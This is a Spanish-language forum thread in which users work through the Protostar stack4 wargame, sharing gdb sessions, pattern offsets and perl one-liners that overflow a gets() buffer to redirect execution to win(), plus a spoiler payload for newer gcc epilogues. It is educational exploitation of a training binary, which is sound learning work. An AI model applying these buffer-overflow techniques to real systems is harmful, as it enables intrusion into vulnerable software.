Protostar-Stack4 wargame

Iniciado por kr0m_, 4 Agosto 2015, 20:34 PM

0 Miembros y 1 Visitante están viendo este tema.

kr0m_

Hola, estoy intentando resolver los wargames de protostar:
https://exploit-exercises.com/protostar/stack4/

El problema reside en que intento sobreescribir el EIP con la dirección de memoria de la función win, pero antes debo calcular el padding a introducir:
python pattern.py create 128
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae

Lo guardo en un fichero para utilizarlo desde gdb:
vi string
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae

Cargo el programa:
gdb stack4
(gdb) run < string
Starting program: /root/protostar/stack4 < string
Program received signal SIGSEGV, Segmentation fault.
0x0804846a in main ()
quit

Calculo el padding pero....:
python pattern.py offset 0x0804846a
hex pattern decoded as: j
ERROR: Invalid input offset.

Si traduzco el valor del EIP mediante la siguiente web:
http://www.rapidtables.com/convert/number/hex-to-ascii.htm
„j


También he intentado "brute-forcear" el padding del siguiente modo:
for i in $(seq 64 128); do echo -e "Padding: $i" && perl -e 'print "A"x'${i}' . "\x2b\x84\x04\x08"'| ./stack4 && echo -e "\n"; done

Mi sistema operativo es Debian(x86/32bits) y tengo deshabilitada la aleatorización de las direcciones de memoria:
cat /proc/sys/kernel/randomize_va_space
0

El binario fue compilado del siguiente modo:
gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack stack4.c -o stack4

No entiendo porque el EIP no es sobreescrito con el valor correcto, cualquier pista/sugerencia será bienvenida.

Un saludo.

aerøx

#1
Hola kr0m_

Desde hace un tiempo gcc ha cambiado el prólogo y el epílogo de las funciones por cuestiones de alineamiento de la pila. Probablemente esa sea la razón por que no te funciona lo que has estado probando. Puedes encontrar más informacion aquí: http://stackoverflow.com/questions/11886429/understanding-new-gcc-prologue.

Te aconsejo que para realizar los ejercicios de protostar te descargues la maquina virtual que los creadores ofrecen en la web para evitar contratiempos: https://exploit-exercises.com/download/. Los binarios presentes en la máquina virtual utilizan el prólogo/epílogo tradicional.

En esta imagen puedes observar el epílogo de la función main del binario presente en la máquina virtual:


Por el contrario este es el epílogo de la función main de un binario compilado con la última versión de gcc con los argumentos que tu has utilizado ( -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack ):


Si te fijas en esta última imagen después de la instrucción leave hay otra instrucción antes del ret. Justamente ésta instrucción modifica el contenido del registro esp y teniendo en cuenta que la siguiente instrucción es un ret podemos afirmar que está modificando la dirección de retorno de la función main.

Para comprobar lo que digo vamos a poner varios puntos de interrupción y hacer varias suposiciones:
El relleno necesario para sobreescribir la dirección de retorno si se utilizara el epílogo tradicional es de 76 bytes:
   leave ;mov esp,ebp       pop ebp
   ret
La dirección de memoria de la función win() és 0x0804842b

1) Guardamos nuestro vector de ataque en un archivo y ejecutamos el depurador.
perl -e 'print "A"x76 . "\x2b\x84\x04\x08" ' > exploit; gdb vulnerable

2) Establecemos los puntos de interrupción y empezamos a depurar el programa( en la imagen anterior puedes ver los comandos ).

Después de recibir la entrada de datos el programa llega al primer punto de interrupción. ( antes de ejecutar la instrucción leave ).


Con la ayuda del comando x/32x $esp podemos comprobar que todo nuestro relleno está presente en la pila(empieza en 0xbfffef00 y termina en 0xbfffef5c).

La dirección de memoria 0xbfffef5c ( ebp + 0x4 ) contiene la dirección de retorno de la función main. Podemos ver en la imagen que el valor que contiene esta posición de memoria és 0x0804842b que como ya he especificado antes corresponde a la dirección de memoria de la función win().

Procedemos hasta el siguiente punto de interrupción después de la instrucción leave. Mediante el comando x $esp podemos comprobar por segunda vez que la dirección de retorno de main és 0x0804842b.

Podemos observar que si la siguiente instrucción a ejecutar-se fuera ret ( él epílogo tradicional) habríamos resuelto el reto. Por el contrario antes del ret tenemos una instrucción que nos modificara el contenido de esp y en consecuencia la dirección de retorno de la función.

En esta última imagen puedes observar lo que acabo de decir:


Nota:
Aunque el epílogo sea algo diferente, la explotación de la vulnerabilidad para este caso concreto sigue siendo trivial.
Una vez lo hayas resuelto con el binario que te dan los creadores del reto, te animo a que resuelvas el reto con esta pequeña modificación en el epílogo.

Spoiler
Para mi caso la solución és:

  • perl -e 'print "\x2b\x84\x04\x08" . "A"x64 . "\x04\xef\xff\xbf" ' > exploit; gdb ./stack04
  • run < cat exploit


Saludos,

Aerøx

kr0m_

Gracias por responder aer0x, pero hay algunos puntos de tu explicación que no me quedan claros, no es el valor EIP el que se debe machacar para que la función retorne a una parte del código u otra?
El valor de ESP simplemente indica la cima de la pila, no?

En el post indicas que puedo ver algunas imágenes depurando código pero no aparecen, podrías volver a subirlas?

Te agradezco mucho que te tomes la molestia de responder a mis dudas y te ruego que me perdones si mis preguntas son algo estúpidas, tengo todos los conceptos pillados por los pelos.

Un saludo.

kr0m_

Compilando con la opción  -mpreferred-stack-boundary=2 parece que el prólogo es como a antaño:
gcc -fno-stack-protector -mpreferred-stack-boundary=2 -D_FORTIFY_SOURCE=0 -z norelro -z execstack stack4.c -o stack4
Dump of assembler code for function main:
   0x0804843d <+0>:   push   ebp
   0x0804843e <+1>:   mov    ebp,esp
   0x08048440 <+3>:   sub    esp,0x40
   0x08048443 <+6>:   lea    eax,[ebp-0x40]
   0x08048446 <+9>:   push   eax
   0x08048447 <+10>:   call   0x80482f0 <gets@plt>
   0x0804844c <+15>:   add    esp,0x4
   0x0804844f <+18>:   leave 
   0x08048450 <+19>:   ret   

De este modo no tengo problema, calculo el padding y resuelvo el wargame:
perl -e 'print "A"x68 . "\x2b\x84\x04\x08"'| ./stack4
code flow successfully changed

Pero me gustaría saber como hacerlo sin tener que añadir esa flag al compilar.

kr0m_

Debugeando un poco hay otra parte que no entiendo, la pila va creciendo hacia direcciones de memoria inferiores conforme se van definiendo las variables, por eso el ESP cada vez tiene un valor inferior.
El EIP y EBP siempre deberían ser zonas de memoria superiores al ESP pero gdb me muestra lo siguiente poniendo un breakpoint en    0x08048466 <+35>:   leave 

(gdb) info registers
esp            0xbffff6b0   0xbffff6b0
eip            0x8048466   0x8048466 <main+35>

0xbffff6b0 > 0x8048466 => ESP > EIP

El exploit creo que no funciona por esta razón, cuando gets rellena la variable buffer esta crece hacia direcciones de memoria superiores pero el EIP que es la dirección que nos interesa sobreescribir se encuentra por abajo, no llegando nunca a ella y no sobreescribiéndola nunca.

Si alguien pudiese aclararmelo se lo agradecería.

aerøx

Cita de: kr0m_ en  5 Agosto 2015, 10:37 AM
En el post indicas que puedo ver algunas imágenes depurando código pero no aparecen, podrías volver a subirlas?

Hola kr0m_
Acabo de comprobar lo de las imágenes y yo puedo verlas en los navegadores: firefox, IE y chrome en su versión de sobremesa sin ningún problema. Por el contrario con el móvil y utilizando una versión desactualizada de firefox no he podido verlas.

Cita de: kr0m_ en  5 Agosto 2015, 10:37 AM
El valor de ESP simplemente indica la cima de la pila, no?

Sobre lo que has dicho estas en lo cierto pero tienes que tener en cuenta que el registro eip no puede ser modificado  directamente, para lograr modificarlo es necesario el uso de ciertas instrucciones que lo modifican indirectamente como : call, jump, ret , etc..

La instrucción ret podríamos decir que es equivalente a:
pop eip ; Esta instrucción coje el valor que se encuentra en la cima de la pila y lo mete en el registro de instrucción.

Si en el epílogo tenemos el siguiente código:
leave   
lea esp,[ecx-0x4]
ret

Podemos ver que estamos modificando la cima de la pila en última instancia antes del ret con la instrucción lea.

Cuando la instrucción ret se ejecute el valor de la cima de la pila pasará a ser el valor contenido en el registro de instrucción.

De donde sale ecx-0x4 ?  Si miras cualquiera de las imágenes que te he pasado en el primer mensaje exceptuando la primera podrás ver la siguiente instrucción:
mov ecx,[ebp-0x4] delante del leave.

Entendiendo que hacen estas dos instrucciones:
mov ecx,[ebp-0x4]
lea esp,[ecx-0x4]

y teniendo en cuenta que el ASLR no está activado puedes poner dos direcciones de memoria en la entrada de datos junto al relleno y conseguir con esto superar el reto.




Lizzard

Hola aer0x y Kr0m.
Yo estoy exactamente en la misma situación que Kr0m, estoy empezando con el reversing y me estoy pegando con el reto stack4 de exploit-exercise.He superado el reto compilando el programa a la vieja usanza (con las opciones que indicó Kr0m: -mpreferred-stack-boundary=2)
Sin embargo sigo sin poder solucionarlo con una compilación "estandar" (gcc -fno-stack-protector - execstack stack4.c -o stack4) y me gustaría entender cómo hacerlo.

Cita de: aerøx en  5 Agosto 2015, 15:13 PM
Entendiendo que hacen estas dos instrucciones:
mov ecx,[ebp-0x4]
lea esp,[ecx-0x4]

y teniendo en cuenta que el ASLR no está activado puedes poner dos direcciones de memoria en la entrada de datos junto al relleno y conseguir con esto superar el reto.

Aquí es donde me pierdo. Estoy muy pez en ensamblador, así que corregidme si me equivoco. Por lo que entiendo:
mov ecx,[ebp-0x4] -> Copia en ecx el valor de ebp-0x4, es decir, la posición de retorno, aquí es donde debemos insertar la dirección de salto a la funcion win
lea esp,[ecx-0x4] -> Copia en esp el contenido de la memoria al que apunta ecx y le resta 0x4 (esto es lo que dudo.)

Así que lo que he intentado es sumar 0x4 a la dirección de la funcion win y y escribirla a continuación del relleno. Pero esto no funciona. ¿Qué es lo que estoy haciendo mal? Supongo que no he interpretado bien lo que hace la instruccion lea esp,[ecx-0x4] ¿No?

Un saludo.